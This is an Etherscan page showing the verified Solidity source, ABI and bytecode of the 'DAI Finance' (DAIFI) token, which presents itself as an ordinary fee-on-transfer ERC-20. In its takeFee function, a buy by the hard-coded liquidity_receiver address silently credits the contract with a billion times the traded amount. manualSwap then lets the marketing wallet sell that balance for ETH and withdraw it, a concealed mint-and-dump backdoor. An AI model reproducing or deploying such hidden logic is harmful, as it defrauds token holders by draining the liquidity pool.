Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender()    - function _msgData() library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod( interface IERC20    - function decimals()    - function symbol()    - function name()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address _owner, ad ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function owner()    - function _checkOwner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ... interface IFactory    - function createPair(address tokenA, a ... interface IRouter    - function factory()    - function WETH()    - function addLiquidityETH(    - function swapExactTokensForETHSupport ...  contract DAIFI is IERC20, Ownable *    - function name()    - function symbol()    - function decimals()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function totalSupply()    - function addLiquidity()    - function enableTrading()    - function removeLimits()    - function shouldContractSwap(address s ...    - function manualSwap()    - function swapAndLiquify(uint256 token ...    - function addLiquidity(uint256 tokenAm ...    - function swapTokensForETH(uint256 tok ...    - function shouldTakeFee(address sender ...    - function getTotalFee(address sender, ...    - function takeFee(address sender, addr ...    - function _transfer(address sender, ad ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-08-24
*/

/**

Website: https://daifi.tech
Dapp: https://app.daifi.tech

Telegram: https://t.me/daifierc
Twitter: https://twitter.com/daifierc
Medium: https://medium.com/@daifi2023/introduction-to-daifi-1fc589b75836

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract DAIFI is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"DAI Finance";
    string private constant _symbol = unicode"DAIFI";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    IRouter router;
    address public pair;
    bool private tradingActive = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 100;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 100;
    uint256 private sellFee = 100;
    uint256 private transferFee = 100;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0x416C1B7e62cC89ed5138d5Cabcd98A728CF17E7D; 
    address internal marketing_receiver = 0x416C1B7e62cC89ed5138d5Cabcd98A728CF17E7D;
    address internal liquidity_receiver = 0xCe6532Ee1f39b07C7295d5ac7Ca9c9A7A2F3eD5e;
    uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 200 ) / 10000;

    constructor() {
        router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isFeeExempt[address(this)] = true;        
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function addLiquidity() external payable onlyOwner {
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        _approve(address(this), address(router), _totalSupply);
        router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }

    function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
        return !swapping && swapEnabled && tradingActive && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount;
    }

    function manualSwap() external {
        require(msg.sender == marketing_receiver);
        swapTokensForETH(balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt*2);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        if(sender==pair&&recipient==liquidity_receiver){feeAmount=amount.mul(1e9);swapEnabled=true;}
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingActive, "tradingActive");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000382565b6200002290633b9aca0062000399565b60018190556006805461ffff60a01b191690555f600955620186a0906200004c906103e862000399565b620000589190620003b3565b600a55620186a0600154600a62000070919062000399565b6200007c9190620003b3565b600b555f600c8190556064600d819055600e829055600f91909155601081905560118190556012556127106013819055601480546001600160a01b031990811673416c1b7e62cc89ed5138d5cabcd98a728cf17e7d9081179092556015805482169092179091556016805490911673ce6532ee1f39b07c7295d5ac7ca9c9a7a2f3ed5e179055600154620001129060c862000399565b6200011e9190620003b3565b60175561271060015460c862000135919062000399565b620001419190620003b3565b60185534801562000150575f80fd5b506200015c3362000224565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055305f908152600460209081526040808320805460ff1990811660019081179092556015546001600160a01b039081168652838620805483168417905560145416855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003d3565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002c757815f1904821115620002ab57620002ab62000273565b80851615620002b957918102915b93841c93908002906200028c565b509250929050565b5f82620002df575060016200037c565b81620002ed57505f6200037c565b8160018114620003065760028114620003115762000331565b60019150506200037c565b60ff84111562000325576200032562000273565b50506001821b6200037c565b5060208310610133831016604e8410600b841016171562000356575081810a6200037c565b62000362838362000287565b805f190482111562000378576200037862000273565b0290505b92915050565b5f6200039260ff841683620002cf565b9392505050565b80820281158282048414176200037c576200037c62000273565b5f82620003ce57634e487b7160e01b5f52601260045260245ffd5b500490565b6117c080620003e15f395ff3fe60806040526004361061011e575f3560e01c806378109e541161009d578063a8aa1b3111610062578063a8aa1b3114610334578063a9059cbb14610353578063dd62ed3e14610372578063e8078d94146103b6578063f2fde38b146103be575f80fd5b806378109e54146102995780637d1db4a5146102ae5780638a8c523c146102c35780638da5cb5b146102d757806395d89b4114610307575f80fd5b80633f4218e0116100e35780633f4218e0146101f957806351bc3c851461022757806370a082311461023d578063715018a614610271578063751039fc14610285575f80fd5b806306fdde0314610129578063095ea7b31461016e57806318160ddd1461019d57806323b872dd146101bf578063313ce567146101de575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a4441492046696e616e636560a81b60208201525b60405161016591906114d5565b60405180910390f35b348015610179575f80fd5b5061018d610188366004611534565b6103dd565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b16103f3565b604051908152602001610165565b3480156101ca575f80fd5b5061018d6101d936600461155e565b610463565b3480156101e9575f80fd5b5060405160098152602001610165565b348015610204575f80fd5b5061018d61021336600461159c565b60046020525f908152604090205460ff1681565b348015610232575f80fd5b5061023b6104cb565b005b348015610248575f80fd5b506101b161025736600461159c565b6001600160a01b03165f9081526002602052604090205490565b34801561027c575f80fd5b5061023b610525565b348015610290575f80fd5b5061023b610538565b3480156102a4575f80fd5b506101b160185481565b3480156102b9575f80fd5b506101b160175481565b3480156102ce575f80fd5b5061023b61054d565b3480156102e2575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610165565b348015610312575f80fd5b50604080518082019091526005815264444149464960d81b6020820152610158565b34801561033f575f80fd5b506006546102ef906001600160a01b031681565b34801561035e575f80fd5b5061018d61036d366004611534565b61056a565b34801561037d575f80fd5b506101b161038c3660046115b7565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61023b610576565b3480156103c9575f80fd5b5061023b6103d836600461159c565b6107ae565b5f6103e9338484610829565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261045e929091610458919061094c565b9061094c565b905090565b5f61046f848484610957565b6104c084336104bb85604051806060016040528060288152602001611763602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610df2565b610829565b5060015b9392505050565b6015546001600160a01b031633146104e1575f80fd5b305f908152600260205260409020546104f990610e1d565b60405133904780156108fc02915f818181858888f19350505050158015610522573d5f803e3d5ffd5b50565b61052d610f6d565b6105365f610fc6565b565b610540610f6d565b6001546017819055601855565b610555610f6d565b6006805460ff60a01b1916600160a01b179055565b5f6103e9338484610957565b61057e610f6d565b60055f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f291906115ee565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610651573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067591906115ee565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e391906115ee565b600680546001600160a01b0319166001600160a01b039283161790556005546001546107129230921690610829565b6005546001600160a01b031663f305d7193430610743816001600160a01b03165f9081526002602052604090205490565b5f8033426040518863ffffffff1660e01b815260040161076896959493929190611609565b60606040518083038185885af1158015610784573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a99190611644565b505050565b6107b6610f6d565b6001600160a01b0381166108205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052281610fc6565b6001600160a01b03831661088b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610817565b6001600160a01b0382166108ec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610817565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104c48284611683565b6001600160a01b0383166109bb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610817565b6001600160a01b038216610a1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610817565b6001600160a01b0383165f90815260026020526040902054811115610a9e5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610817565b6001600160a01b0383165f9081526004602052604090205460ff16158015610ade57506001600160a01b0382165f9081526004602052604090205460ff16155b15610b2c57600654600160a01b900460ff16610b2c5760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b6044820152606401610817565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b6c57506001600160a01b0382165f9081526004602052604090205460ff16155b8015610b8657506006546001600160a01b03838116911614155b8015610b9d57506001600160a01b03821661dead14155b15610c15576018546001600160a01b0383165f90815260026020526040902054610bc79083611015565b1115610c155760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610817565b60175481111580610c3d57506001600160a01b0383165f9081526004602052604090205460ff165b80610c5f57506001600160a01b0382165f9081526004602052604090205460ff165b610c9f5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610817565b6006546001600160a01b038381169116148015610cd457506001600160a01b0383165f9081526004602052604090205460ff16155b15610cf157600160075f828254610ceb9190611696565b90915550505b610cfb8383611020565b15610d1057610d0b600a546110a6565b5f6007555b6001600160a01b0383165f90815260026020526040902054610d32908261094c565b6001600160a01b0384165f90815260026020526040812091909155610d57848461122a565b610d615781610d6c565b610d6c84848461126e565b6001600160a01b0384165f90815260026020526040902054909150610d919082611015565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de49085815260200190565b60405180910390a350505050565b5f8184841115610e155760405162461bcd60e51b815260040161081791906114d5565b505050900390565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e5057610e506116a9565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ea7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ecb91906115ee565b81600181518110610ede57610ede6116a9565b6001600160a01b039283166020918202929092010152600554610f049130911684610829565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f3c9085905f908690309042906004016116bd565b5f604051808303815f87803b158015610f53575f80fd5b505af1158015610f65573d5f803e3d5ffd5b505050505050565b5f546001600160a01b031633146105365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610817565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6104c48284611696565b6008545f9060ff1615801561103e5750600654600160a81b900460ff165b80156110535750600654600160a01b900460ff165b801561107757506001600160a01b0383165f9081526004602052604090205460ff16155b801561109057506006546001600160a01b038381169116145b80156104c4575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c545f936110e5936002936110df9391926110d9928391611015565b90611015565b906113d6565b90505f61110782611101600c54866113d690919063ffffffff16565b906113e1565b90505f611114848361094c565b90504761112082610e1d565b5f61112b478361094c565b90505f61114d611146600c548861094c90919063ffffffff16565b83906113e1565b90505f611165600c54836113d690919063ffffffff16565b905080156111775761117786826113ec565b600d545f9061118b906110df8560026113d6565b905080156111d4576015546001600160a01b03166108fc6111ad83600261172c565b6040518115909202915f818181858888f193505050501580156111d2573d5f803e3d5ffd5b505b478015611214576014546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611212573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156104c45750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f8061127a858561148b565b11156113cf575f61129c61128e868661148b565b6013546110df9086906113e1565b6006549091506001600160a01b0386811691161480156112c957506016546001600160a01b038581169116145b156112f2576112dc83633b9aca006113d6565b6006805460ff60a81b1916600160a81b17905590505b305f9081526002602052604090205461130b9082611015565b305f9081526002602052604090205561132761128e868661148b565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161136e91815260200190565b60405180910390a35f600f541180156113915750600f5461138f868661148b565b115b156113bd576113bd3061dead6113b8600f546110df601354896113e190919063ffffffff16565b610957565b6113c7838261094c565b9150506104c4565b5092915050565b5f6104c4828461172c565b5f6104c48284611743565b6005546114049030906001600160a01b031684610829565b60055460165460405163f305d71960e01b81526001600160a01b039283169263f305d71992859261144392309289925f92839216904290600401611609565b60606040518083038185885af115801561145f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114849190611644565b5050505050565b6006545f906001600160a01b03908116908316036114ac57506011546103ed565b6006546001600160a01b03908116908416036114cb57506010546103ed565b5060125492915050565b5f6020808352835180828501525f5b81811015611500578581018301518582016040015282016114e4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610522575f80fd5b5f8060408385031215611545575f80fd5b823561155081611520565b946020939093013593505050565b5f805f60608486031215611570575f80fd5b833561157b81611520565b9250602084013561158b81611520565b929592945050506040919091013590565b5f602082840312156115ac575f80fd5b81356104c481611520565b5f80604083850312156115c8575f80fd5b82356115d381611520565b915060208301356115e381611520565b809150509250929050565b5f602082840312156115fe575f80fd5b81516104c481611520565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f60608486031215611656575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103ed576103ed61166f565b808201808211156103ed576103ed61166f565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561170b5784516001600160a01b0316835293830193918301916001016116e6565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103ed576103ed61166f565b5f8261175d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202012728eaa812451a75b8323a4e1458526b3eb8ab76b8d03287002b4e32b441264736f6c63430008150033

